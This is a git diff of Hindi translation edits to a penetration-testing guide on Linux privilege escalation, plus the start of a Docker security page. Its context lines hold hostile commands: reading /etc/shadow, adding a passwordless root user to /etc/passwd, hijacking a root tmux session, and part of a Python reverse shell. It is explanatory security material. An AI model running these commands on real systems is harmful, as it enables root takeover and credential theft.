**विशेषाधिकारों को छोटे और विशिष्ट इकाइयों में विभाजित** करता है। इन इकाइयों में से प्रत्येक को फिर स्वतंत्र रूप से प्रक्रियाओं को सौंपा जा सकता है। इस तरह पूर्ण विशेषाधिकारों का सेट कम हो जाता है, जिससे शोषण के जोखिम कम होते हैं।\ -क्षमताओं के बारे में अधिक जानने के लिए और उन्हें कैसे दुरुपयोग किया जा सकता है, निम्नलिखित पृष्ठ पढ़ें: +अधिक जानकारी के लिए **क्षमताओं और उन्हें कैसे दुरुपयोग किया जा सकता है** पढ़ें: {{#ref}} linux-capabilities.md @@ -1053,12 +1057,12 @@ linux-capabilities.md ## निर्देशिका अनुमतियाँ -एक निर्देशिका में, **"कार्यक्रम" के लिए बिट** का अर्थ है कि प्रभावित उपयोगकर्ता "**cd**" फ़ोल्डर में जा सकता है।\ -**"पढ़ने"** का बिट यह दर्शाता है कि उपयोगकर्ता **फाइलों** की **सूची** बना सकता है, और **"लिखने"** का बिट यह दर्शाता है कि उपयोगकर्ता **फाइलों** को **हटा** और **नया** **फाइल** **बना** सकता है। +एक निर्देशिका में, **"कार्यक्रम"** के लिए बिट का अर्थ है कि प्रभावित उपयोगकर्ता "**cd**" फ़ोल्डर में जा सकता है।\ +**"पढ़ने"** का बिट यह दर्शाता है कि उपयोगकर्ता **फाइलों** की **सूची** बना सकता है, और **"लिखने"** का बिट यह दर्शाता है कि उपयोगकर्ता **फाइलों** को **हटा** और **नया** **फाइलें** **बना** सकता है। ## ACLs -एक्सेस कंट्रोल लिस्ट (ACLs) विवेकाधीन अनुमतियों की द्वितीयक परत का प्रतिनिधित्व करती हैं, जो **पारंपरिक ugo/rwx अनुमतियों को ओवरराइड** करने में सक्षम हैं। ये अनुमतियाँ फ़ाइल या निर्देशिका के एक्सेस पर नियंत्रण को बढ़ाती हैं, विशेष उपयोगकर्ताओं को अधिकार देने या अस्वीकार करने की अनुमति देकर, जो मालिक या समूह का हिस्सा नहीं होते। यह स्तर की **सूक्ष्मता अधिक सटीक एक्सेस प्रबंधन सुनिश्चित करती है**। आगे की जानकारी [**यहाँ**](https://linuxconfig.org/how-to-manage-acls-on-linux) मिल सकती है। +एक्सेस कंट्रोल लिस्ट (ACLs) वैकल्पिक अनुमतियों की द्वितीयक परत का प्रतिनिधित्व करती हैं, जो **पारंपरिक ugo/rwx अनुमतियों को ओवरराइड** करने में सक्षम हैं। ये अनुमतियाँ फ़ाइल या निर्देशिका के एक्सेस पर नियंत्रण को बढ़ाती हैं, विशेष उपयोगकर्ताओं को अधिकार देने या अस्वीकार करने की अनुमति देकर जो मालिक या समूह का हिस्सा नहीं हैं। यह स्तर की **सूक्ष्मता अधिक सटीक एक्सेस प्रबंधन सुनिश्चित करती है**। अधिक विवरण [**यहाँ**](https://linuxconfig.org/how-to-manage-acls-on-linux) पाया जा सकता है। **उपयोगकर्ता "kali" को एक फ़ाइल पर पढ़ने और लिखने की अनुमतियाँ दें:** ```bash @@ -1113,7 +1117,7 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -**Valentine box from HTB** के लिए एक उदाहरण देखें। +Check **Valentine box from HTB** for an example. ## SSH @@ -1122,7 +1126,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket सभी SSL और SSH कुंजी जो Debian आधारित सिस्टम (Ubuntu, Kubuntu, आदि) पर सितंबर 2006 और 13 मई 2008 के बीच उत्पन्न की गई थीं, इस बग से प्रभावित हो सकती हैं।\ यह बग उन OS में एक नई ssh कुंजी बनाने के दौरान होता है, क्योंकि **केवल 32,768 भिन्नताएँ संभव थीं**। इसका मतलब है कि सभी संभावनाएँ गणना की जा सकती हैं और **ssh सार्वजनिक कुंजी होने पर आप संबंधित निजी कुंजी के लिए खोज कर सकते हैं**। आप यहाँ गणना की गई संभावनाएँ पा सकते हैं: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH दिलचस्प कॉन्फ़िगरेशन मान +### SSH Interesting configuration values - **PasswordAuthentication:** यह निर्दिष्ट करता है कि क्या पासवर्ड प्रमाणीकरण की अनुमति है। डिफ़ॉल्ट `no` है। - **PubkeyAuthentication:** यह निर्दिष्ट करता है कि क्या सार्वजनिक कुंजी प्रमाणीकरण की अनुमति है। डिफ़ॉल्ट `yes` है। @@ -1134,7 +1138,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket - `yes`: रूट पासवर्ड और निजी कुंजी का उपयोग करके लॉगिन कर सकता है - `without-password` या `prohibit-password`: रूट केवल निजी कुंजी के साथ लॉगिन कर सकता है -- `forced-commands-only`: रूट केवल निजी कुंजी का उपयोग करके लॉगिन कर सकता है और यदि कमांड विकल्प निर्दिष्ट किए गए हैं +- `forced-commands-only`: रूट केवल निजी कुंजी का उपयोग करके और यदि कमांड विकल्प निर्दिष्ट किए गए हैं, तो लॉगिन कर सकता है - `no` : नहीं ### AuthorizedKeysFile @@ -1143,7 +1147,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -वह कॉन्फ़िगरेशन यह संकेत देगा कि यदि आप उपयोगकर्ता "**testusername**" की **private** कुंजी के साथ लॉगिन करने का प्रयास करते हैं, तो ssh आपकी कुंजी की सार्वजनिक कुंजी की तुलना `/home/testusername/.ssh/authorized_keys` और `/home/testusername/access` में स्थित कुंजियों के साथ करेगा। +वह कॉन्फ़िगरेशन यह संकेत देगा कि यदि आप उपयोगकर्ता "**testusername**" की **private** कुंजी के साथ लॉगिन करने की कोशिश करते हैं, तो ssh आपकी कुंजी की सार्वजनिक कुंजी की तुलना `/home/testusername/.ssh/authorized_keys` और `/home/testusername/access` में स्थित कुंजियों के साथ करेगा। ### ForwardAgent/AllowAgentForwarding @@ -1154,12 +1158,12 @@ SSH एजेंट फॉरवर्डिंग आपको **अपनी Host example.com ForwardAgent yes ``` -ध्यान दें कि यदि `Host` `*` है, तो हर बार जब उपयोगकर्ता एक अलग मशीन पर कूदता है, वह होस्ट कुंजियों तक पहुँच प्राप्त कर सकेगा (जो एक सुरक्षा समस्या है)। +ध्यान दें कि यदि `Host` `*` है, तो हर बार जब उपयोगकर्ता किसी अन्य मशीन पर कूदता है, वह होस्ट कुंजियों तक पहुँच प्राप्त कर सकेगा (जो एक सुरक्षा समस्या है)। फाइल `/etc/ssh_config` इस **विकल्पों** को **ओवरराइड** कर सकती है और इस कॉन्फ़िगरेशन की अनुमति या अस्वीकृति कर सकती है।\ फाइल `/etc/sshd_config` ssh-agent फॉरवर्डिंग को कीवर्ड `AllowAgentForwarding` के साथ **अनुमति** या **अस्वीकृति** कर सकती है (डिफ़ॉल्ट अनुमति है)। -यदि आप पाते हैं कि फॉरवर्ड एजेंट एक वातावरण में कॉन्फ़िगर किया गया है, तो निम्नलिखित पृष्ठ को पढ़ें क्योंकि **आप इसे विशेषाधिकार बढ़ाने के लिए दुरुपयोग कर सकते हैं**: +यदि आप पाते हैं कि फॉरवर्ड एजेंट किसी वातावरण में कॉन्फ़िगर किया गया है, तो निम्नलिखित पृष्ठ को पढ़ें क्योंकि **आप इसे विशेषाधिकार बढ़ाने के लिए दुरुपयोग कर सकते हैं**: {{#ref}} ssh-forward-agent-exploitation.md @@ -1169,7 +1173,7 @@ ssh-forward-agent-exploitation.md ### प्रोफाइल फ़ाइलें -फाइल `/etc/profile` और `/etc/profile.d/` के अंतर्गत फ़ाइलें **स्क्रिप्ट हैं जो तब निष्पादित होती हैं जब एक उपयोगकर्ता एक नया शेल चलाता है**। इसलिए, यदि आप इनमें से किसी को **लिख सकते हैं या संशोधित कर सकते हैं, तो आप विशेषाधिकार बढ़ा सकते हैं**। +फाइल `/etc/profile` और `/etc/profile.d/` के अंतर्गत फ़ाइलें **स्क्रिप्ट हैं जो तब निष्पादित होती हैं जब उपयोगकर्ता एक नया शेल चलाता है**। इसलिए, यदि आप इनमें से किसी को **लिख सकते हैं या संशोधित कर सकते हैं, तो आप विशेषाधिकार बढ़ा सकते हैं**। ```bash ls -l /etc/profile /etc/profile.d/ ``` @@ -1184,7 +1188,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -कई मौकों पर आप **password hashes** को `/etc/passwd` (या समकक्ष) फ़ाइल के अंदर पा सकते हैं। +कई अवसरों पर आप **password hashes** को `/etc/passwd` (या समकक्ष) फ़ाइल के अंदर पा सकते हैं। ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` @@ -1210,7 +1214,7 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -नोट: BSD प्लेटफार्मों पर `/etc/passwd` `/etc/pwd.db` और `/etc/master.passwd` पर स्थित है, साथ ही `/etc/shadow` का नाम बदलकर `/etc/spwd.db` कर दिया गया है। +नोट: BSD प्लेटफार्मों में `/etc/passwd` `/etc/pwd.db` और `/etc/master.passwd` पर स्थित है, और `/etc/shadow` का नाम बदलकर `/etc/spwd.db` कर दिया गया है। आपको यह जांचना चाहिए कि क्या आप कुछ **संवेदनशील फ़ाइलों में लिख सकते हैं**। उदाहरण के लिए, क्या आप कुछ **सेवा कॉन्फ़िगरेशन फ़ाइल** में लिख सकते हैं? ```bash @@ -1231,7 +1235,7 @@ Group=root ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### अजीब स्थान/स्वामित्व फ़ाइलें +### अजीब स्थान/स्वामित्व वाली फ़ाइलें ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1280,14 +1284,14 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Known files containing passwords +### ज्ञात फ़ाइलें जिनमें पासवर्ड होते हैं -Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), यह **कई संभावित फ़ाइलों की खोज करता है जो पासवर्ड हो सकते हैं**।\ -**एक और दिलचस्प उपकरण** जिसका आप इसका उपयोग कर सकते हैं: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) जो एक ओपन-सोर्स एप्लिकेशन है जिसका उपयोग Windows, Linux और Mac पर स्थानीय कंप्यूटर पर संग्रहीत कई पासवर्ड पुनर्प्राप्त करने के लिए किया जाता है। +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) का कोड पढ़ें, यह **कई संभावित फ़ाइलों की खोज करता है जो पासवर्ड रख सकती हैं**।\ +**एक और दिलचस्प उपकरण** जिसका आप इसका उपयोग कर सकते हैं: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) जो एक ओपन-सोर्स एप्लिकेशन है जिसका उपयोग Windows, Linux और Mac के लिए स्थानीय कंप्यूटर पर संग्रहीत कई पासवर्ड पुनर्प्राप्त करने के लिए किया जाता है। -### Logs +### लॉग -यदि आप लॉग पढ़ सकते हैं, तो आप **उनमें दिलचस्प/गोपनीय जानकारी खोजने में सक्षम हो सकते हैं**। लॉग जितना अजीब होगा, यह उतना ही दिलचस्प होगा (संभवतः)।\ +यदि आप लॉग पढ़ सकते हैं, तो आप **उनमें दिलचस्प/गोपनीय जानकारी** पा सकते हैं। लॉग जितना अजीब होगा, वह उतना ही दिलचस्प होगा (संभवतः)।\ इसके अलावा, कुछ "**खराब**" कॉन्फ़िगर किए गए (बैकडोर?) **ऑडिट लॉग** आपको **ऑडिट लॉग में पासवर्ड रिकॉर्ड करने** की अनुमति दे सकते हैं जैसा कि इस पोस्ट में समझाया गया है: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" @@ -1326,9 +1330,9 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s `logrotate` में एक सुरक्षा कमी उपयोगकर्ताओं को **लॉग फ़ाइल** या इसके माता-पिता निर्देशिकाओं पर **लेखन अनुमतियों** के साथ संभावित रूप से बढ़ी हुई विशेषाधिकार प्राप्त करने की अनुमति देती है। इसका कारण यह है कि `logrotate`, जो अक्सर **root** के रूप में चलता है, को मनमाने फ़ाइलों को निष्पादित करने के लिए हेरफेर किया जा सकता है, विशेष रूप से _**/etc/bash_completion.d/**_ जैसी निर्देशिकाओं में। यह महत्वपूर्ण है कि _/var/log_ में ही नहीं, बल्कि किसी भी निर्देशिका में जहां लॉग रोटेशन लागू किया गया है, अनुमतियों की जांच की जाए। > [!NOTE] -> यह सुरक्षा कमी `logrotate` संस्करण `3.18.0` और पुराने पर प्रभाव डालती है +> यह सुरक्षा कमी `logrotate` संस्करण `3.18.0` और पुराने को प्रभावित करती है -सुरक्षा कमी के बारे में अधिक विस्तृत जानकारी इस पृष्ठ पर मिल सकती है: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +सुरक्षा कमी के बारे में अधिक विस्तृत जानकारी इस पृष्ठ पर मिल सकती है: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)। आप इस सुरक्षा कमी का शोषण [**logrotten**](https://github.com/whotwagner/logrotten) के साथ कर सकते हैं। @@ -1340,7 +1344,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s यदि, किसी भी कारण से, एक उपयोगकर्ता _/etc/sysconfig/network-scripts_ में **लेखन** करने में सक्षम है `ifcf-` स्क्रिप्ट या यह एक मौजूदा स्क्रिप्ट को **समायोजित** कर सकता है, तो आपका **सिस्टम प्वंड है**। -नेटवर्क स्क्रिप्ट, _ifcg-eth0_ उदाहरण के लिए नेटवर्क कनेक्शनों के लिए उपयोग की जाती हैं। वे ठीक .INI फ़ाइलों की तरह दिखती हैं। हालाँकि, उन्हें Linux पर नेटवर्क प्रबंधक (dispatcher.d) द्वारा \~sourced\~ किया जाता है। +नेटवर्क स्क्रिप्ट, _ifcg-eth0_ उदाहरण के लिए, नेटवर्क कनेक्शनों के लिए उपयोग की जाती हैं। वे बिल्कुल .INI फ़ाइलों की तरह दिखती हैं। हालाँकि, उन्हें Linux पर नेटवर्क प्रबंधक (dispatcher.d) द्वारा \~sourced\~ किया जाता है। मेरे मामले में, इन नेटवर्क स्क्रिप्ट में `NAME=` को सही तरीके से संभाला नहीं गया है। यदि आपके नाम में **सफेद/खाली स्थान है तो सिस्टम सफेद/खाली स्थान के बाद के भाग को निष्पादित करने की कोशिश करता है**। इसका मतलब है कि **पहले सफेद स्थान के बाद सब कुछ root के रूप में निष्पादित होता है**। @@ -1352,11 +1356,11 @@ DEVICE=eth0 ``` ### **init, init.d, systemd, और rc.d** -डायरेक्टरी `/etc/init.d` **System V init (SysVinit)** के लिए **स्क्रिप्ट** का घर है, जो **क्लासिक Linux सेवा प्रबंधन प्रणाली** है। इसमें सेवाओं को `start`, `stop`, `restart`, और कभी-कभी `reload` करने के लिए स्क्रिप्ट शामिल हैं। इन्हें सीधे या `/etc/rc?.d/` में पाए जाने वाले प्रतीकात्मक लिंक के माध्यम से निष्पादित किया जा सकता है। Redhat सिस्टम में एक वैकल्पिक पथ `/etc/rc.d/init.d` है। +डायरेक्टरी `/etc/init.d` **System V init (SysVinit)** के लिए **स्क्रिप्ट्स** का घर है, जो **क्लासिक Linux सेवा प्रबंधन प्रणाली** है। इसमें सेवाओं को `start`, `stop`, `restart`, और कभी-कभी `reload` करने के लिए स्क्रिप्ट्स शामिल हैं। इन्हें सीधे या `/etc/rc?.d/` में पाए जाने वाले प्रतीकात्मक लिंक के माध्यम से निष्पादित किया जा सकता है। Redhat सिस्टम में एक वैकल्पिक पथ `/etc/rc.d/init.d` है। -दूसरी ओर, `/etc/init` **Upstart** से संबंधित है, जो Ubuntu द्वारा पेश किया गया एक नया **सेवा प्रबंधन** है, जो सेवा प्रबंधन कार्यों के लिए कॉन्फ़िगरेशन फ़ाइलों का उपयोग करता है। Upstart में संक्रमण के बावजूद, SysVinit स्क्रिप्ट अभी भी Upstart कॉन्फ़िगरेशन के साथ उपयोग की जाती हैं क्योंकि Upstart में एक संगतता परत है। +दूसरी ओर, `/etc/init` **Upstart** से संबंधित है, जो Ubuntu द्वारा पेश की गई एक नई **सेवा प्रबंधन** प्रणाली है, जो सेवा प्रबंधन कार्यों के लिए कॉन्फ़िगरेशन फ़ाइलों का उपयोग करती है। Upstart में संक्रमण के बावजूद, SysVinit स्क्रिप्ट्स अभी भी Upstart कॉन्फ़िगरेशन के साथ उपयोग की जाती हैं क्योंकि Upstart में एक संगतता परत है। -**systemd** एक आधुनिक प्रारंभिककरण और सेवा प्रबंधक के रूप में उभरता है, जो मांग पर डेमन प्रारंभ करने, ऑटोमाउंट प्रबंधन, और सिस्टम स्थिति स्नैपशॉट जैसी उन्नत सुविधाएँ प्रदान करता है। यह वितरण पैकेजों के लिए फ़ाइलों को `/usr/lib/systemd/` में और प्रशासक संशोधनों के लिए `/etc/systemd/system/` में व्यवस्थित करता है, जिससे सिस्टम प्रशासन प्रक्रिया को सरल बनाया जा सके। +**systemd** एक आधुनिक प्रारंभिककरण और सेवा प्रबंधक के रूप में उभरता है, जो मांग पर डेमन प्रारंभ करने, ऑटोमाउंट प्रबंधन, और सिस्टम स्थिति स्नैपशॉट जैसी उन्नत सुविधाएँ प्रदान करता है। यह वितरण पैकेजों के लिए `/usr/lib/systemd/` और प्रशासक संशोधनों के लिए `/etc/systemd/system/` में फ़ाइलों को व्यवस्थित करता है, जिससे सिस्टम प्रशासन प्रक्रिया को सरल बनाया जा रहा है। ## अन्य तरकीबें @@ -1383,7 +1387,7 @@ cisco-vmanage.md - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## अधिक मदद +## अधिक सहायता [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) @@ -1400,7 +1404,7 @@ cisco-vmanage.md **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (भौतिक पहुंच):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**अधिक स्क्रिप्टों का संकलन**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**अधिक स्क्रिप्ट्स का संकलन**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## संदर्भ diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index 831e3ff93..b2ace792d 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -4,15 +4,15 @@ ## **बुनियादी Docker इंजन सुरक्षा** -**Docker इंजन** लिनक्स कर्नेल के **Namespaces** और **Cgroups** का उपयोग करके कंटेनरों को अलग करता है, जो सुरक्षा की एक बुनियादी परत प्रदान करता है। **Capabilities dropping**, **Seccomp**, और **SELinux/AppArmor** के माध्यम से अतिरिक्त सुरक्षा प्रदान की जाती है, जो कंटेनर अलगाव को बढ़ाती है। एक **auth plugin** उपयोगकर्ता क्रियाओं को और अधिक सीमित कर सकता है। +**Docker इंजन** Linux कर्नेल के **Namespaces** और **Cgroups** का उपयोग करके कंटेनरों को अलग करता है, जो सुरक्षा की एक बुनियादी परत प्रदान करता है। **Capabilities dropping**, **Seccomp**, और **SELinux/AppArmor** के माध्यम से अतिरिक्त सुरक्षा प्रदान की जाती है, जो कंटेनर अलगाव को बढ़ाती है। एक **auth plugin** उपयोगकर्ता क्रियाओं को और अधिक सीमित कर सकता है। ![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) ### Docker इंजन तक सुरक्षित पहुंच -Docker इंजन को या तो स्थानीय रूप से एक Unix सॉकेट के माध्यम से या HTTP का उपयोग करके दूरस्थ रूप से एक्सेस किया जा सकता है। दूरस्थ पहुंच के लिए, गोपनीयता, अखंडता और प्रमाणीकरण सुनिश्चित करने के लिए HTTPS और **TLS** का उपयोग करना आवश्यक है। +Docker इंजन को या तो स्थानीय रूप से Unix सॉकेट के माध्यम से या HTTP का उपयोग करके दूरस्थ रूप से एक्सेस किया जा सकता है। दूरस्थ पहुंच के लिए, गोपनीयता, अखंडता और प्रमाणीकरण सुनिश्चित करने के लिए HTTPS और **TLS** का उपयोग करना आवश्यक है। -Docker इंजन, डिफ़ॉल्ट रूप से, `unix:///var/run/docker.sock` पर Unix सॉकेट पर सुनता है। उबंटू सिस्टम पर, Docker के स्टार्टअप विकल्प `/etc/default/docker` में परिभाषित होते हैं। Docker API और क्लाइंट के लिए दूरस्थ पहुंच सक्षम करने के लिए, HTTP सॉकेट के माध्यम से Docker डेमन को उजागर करने के लिए निम्नलिखित सेटिंग्स जोड़ें: +Docker इंजन, डिफ़ॉल्ट रूप से, `unix:///var/run/docker.sock` पर Unix सॉकेट पर सुनता है। Ubuntu सिस्टम पर, Docker के स्टार्टअप विकल्प `/etc/default/docker` में परिभाषित होते हैं। Docker API और क्लाइंट के लिए दूरस्थ पहुंच सक्षम करने के लिए, HTTP सॉकेट के माध्यम से Docker डेमन को उजागर करने के लिए निम्नलिखित सेटिंग्स जोड़ें: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart @@ -20,21 +20,21 @@ sudo service docker restart हालांकि, HTTP के माध्यम से Docker डेमन को उजागर करना सुरक्षा चिंताओं के कारण अनुशंसित नहीं है। कनेक्शनों को HTTPS का उपयोग करके सुरक्षित करना उचित है। कनेक्शन को सुरक्षित करने के लिए दो मुख्य दृष्टिकोण हैं: 1. क्लाइंट सर्वर की पहचान की पुष्टि करता है। -2. क्लाइंट और सर्वर एक-दूसरे की पहचान की आपसी पुष्टि करते हैं। +2. क्लाइंट और सर्वर एक-दूसरे की पहचान की आपसी प्रमाणीकरण करते हैं। -सर्टिफिकेट का उपयोग सर्वर की पहचान की पुष्टि करने के लिए किया जाता है। दोनों विधियों के विस्तृत उदाहरणों के लिए, [**इस गाइड**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/) को देखें। +सर्वर की पहचान की पुष्टि करने के लिए प्रमाणपत्रों का उपयोग किया जाता है। दोनों विधियों के विस्तृत उदाहरणों के लिए, [**इस गाइड**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/) को देखें। ### कंटेनर छवियों की सुरक्षा -कंटेनर छवियों को निजी या सार्वजनिक रिपॉजिटरी में संग्रहीत किया जा सकता है। Docker कंटेनर छवियों के लिए कई संग्रहण विकल्प प्रदान करता है: +कंटेनर छवियों को निजी या सार्वजनिक भंडार में संग्रहीत किया जा सकता है। Docker कंटेनर छवियों के लिए कई भंडारण विकल्प प्रदान करता है: - [**Docker Hub**](https://hub.docker.com): Docker से एक सार्वजनिक रजिस्ट्री सेवा। - [**Docker Registry**](https://github.com/docker/distribution): एक ओपन-सोर्स प्रोजेक्ट जो उपयोगकर्ताओं को अपनी खुद की रजिस्ट्री होस्ट करने की अनुमति देता है। -- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker की व्यावसायिक रजिस्ट्री पेशकश, जिसमें भूमिका-आधारित उपयोगकर्ता प्रमाणीकरण और LDAP निर्देशिका सेवाओं के साथ एकीकरण शामिल है। +- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker का व्यावसायिक रजिस्ट्री प्रस्ताव, जिसमें भूमिका-आधारित उपयोगकर्ता प्रमाणीकरण और LDAP निर्देशिका सेवाओं के साथ एकीकरण शामिल है। ### छवि स्कैनिंग -कंटेनरों में **सुरक्षा कमजोरियाँ** हो सकती हैं या तो आधार छवि के कारण या आधार छवि के शीर्ष पर स्थापित सॉफ़्टवेयर के कारण। Docker एक प्रोजेक्ट पर काम कर रहा है जिसे **Nautilus** कहा जाता है, जो कंटेनरों का सुरक्षा स्कैन करता है और कमजोरियों की सूची बनाता है। Nautilus प्रत्येक कंटेनर छवि परत की तुलना कमजोरियों के रिपॉजिटरी से करता है ताकि सुरक्षा खामियों की पहचान की जा सके। +कंटेनरों में **सुरक्षा कमजोरियाँ** हो सकती हैं या तो आधार छवि के कारण या आधार छवि के शीर्ष पर स्थापित सॉफ़्टवेयर के कारण। Docker एक प्रोजेक्ट पर काम कर रहा है जिसे **Nautilus** कहा जाता है, जो कंटेनरों का सुरक्षा स्कैन करता है और कमजोरियों की सूची बनाता है। Nautilus प्रत्येक कंटेनर छवि परत की तुलना कमजोरियों के भंडार से करता है ताकि सुरक्षा छिद्रों की पहचान की जा सके। अधिक [**जानकारी के लिए इसे पढ़ें**](https://docs.docker.com/engine/scan/)। @@ -70,13 +70,13 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 ``` ### Docker Image Signing -Docker इमेज साइनिंग कंटेनरों में उपयोग की जाने वाली इमेज की सुरक्षा और अखंडता सुनिश्चित करता है। यहाँ एक संक्षिप्त व्याख्या है: +Docker इमेज साइनिंग कंटेनरों में उपयोग की जाने वाली इमेजों की सुरक्षा और अखंडता सुनिश्चित करता है। यहाँ एक संक्षिप्त व्याख्या है: - **Docker Content Trust** Notary प्रोजेक्ट का उपयोग करता है, जो The Update Framework (TUF) पर आधारित है, इमेज साइनिंग प्रबंधित करने के लिए। अधिक जानकारी के लिए, देखें [Notary](https://github.com/docker/notary) और [TUF](https://theupdateframework.github.io)। -- Docker कंटेंट ट्रस्ट को सक्रिय करने के लिए, सेट करें `export DOCKER_CONTENT_TRUST=1`। यह सुविधा Docker संस्करण 1.10 और बाद में डिफ़ॉल्ट रूप से बंद होती है। -- इस सुविधा को सक्षम करने पर, केवल साइन की गई इमेज डाउनलोड की जा सकती हैं। प्रारंभिक इमेज पुश के लिए रूट और टैगिंग कुंजियों के लिए पासफ़्रेज़ सेट करना आवश्यक है, Docker Yubikey के लिए भी समर्थन करता है ताकि सुरक्षा बढ़ सके। अधिक विवरण [यहाँ](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) मिल सकते हैं। +- Docker कंटेंट ट्रस्ट को सक्रिय करने के लिए, सेट करें `export DOCKER_CONTENT_TRUST=1`। यह सुविधा Docker संस्करण 1.10 और बाद में डिफ़ॉल्ट रूप से बंद है। +- इस सुविधा को सक्षम करने के साथ, केवल साइन की गई इमेजों को डाउनलोड किया जा सकता है। प्रारंभिक इमेज पुश के लिए रूट और टैगिंग कुंजियों के लिए पासफ़्रेज़ सेट करना आवश्यक है, Docker Yubikey के लिए भी समर्थन करता है ताकि सुरक्षा बढ़ सके। अधिक विवरण [यहाँ](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) मिल सकते हैं। - कंटेंट ट्रस्ट सक्षम होने पर एक असाइन की गई इमेज को खींचने का प्रयास करने पर "No trust data for latest" त्रुटि होती है। -- पहले के बाद इमेज पुश के लिए, Docker इमेज को साइन करने के लिए रिपॉजिटरी कुंजी का पासफ़्रेज़ पूछता है। +- पहले के बाद इमेज पुश के लिए, Docker इमेज को साइन करने के लिए रिपॉजिटरी कुंजी के पासफ़्रेज़ के लिए पूछता है। अपने निजी कुंजियों का बैकअप लेने के लिए, कमांड का उपयोग करें: ```bash @@ -98,17 +98,17 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private - **उद्देश्य**: प्रक्रियाओं, नेटवर्क और फ़ाइल सिस्टम जैसे संसाधनों का पृथक्करण सुनिश्चित करना। विशेष रूप से डॉकर में, नेमस्पेस एक कंटेनर की प्रक्रियाओं को होस्ट और अन्य कंटेनरों से अलग रखते हैं। - **`unshare` का उपयोग**: `unshare` कमांड (या अंतर्निहित syscall) का उपयोग नए नेमस्पेस बनाने के लिए किया जाता है, जो पृथक्करण की एक अतिरिक्त परत प्रदान करता है। हालाँकि, जबकि कुबेरनेट्स स्वाभाविक रूप से इसे रोकता नहीं है, डॉकर ऐसा करता है। -- **सीमा**: नए नेमस्पेस बनाने से एक प्रक्रिया को होस्ट के डिफ़ॉल्ट नेमस्पेस में वापस लौटने की अनुमति नहीं मिलती। होस्ट के नेमस्पेस में प्रवेश करने के लिए, आमतौर पर होस्ट के `/proc` निर्देशिका तक पहुँच की आवश्यकता होती है, प्रवेश के लिए `nsenter` का उपयोग करते हुए। +- **सीमा**: नए नेमस्पेस बनाने से एक प्रक्रिया को होस्ट के डिफ़ॉल्ट नेमस्पेस में वापस लौटने की अनुमति नहीं मिलती। होस्ट नेमस्पेस में प्रवेश करने के लिए, आमतौर पर होस्ट के `/proc` निर्देशिका तक पहुँच की आवश्यकता होती है, प्रवेश के लिए `nsenter` का उपयोग करते हुए। **कंट्रोल ग्रुप्स (CGroups)** - **कार्य**: मुख्य रूप से प्रक्रियाओं के 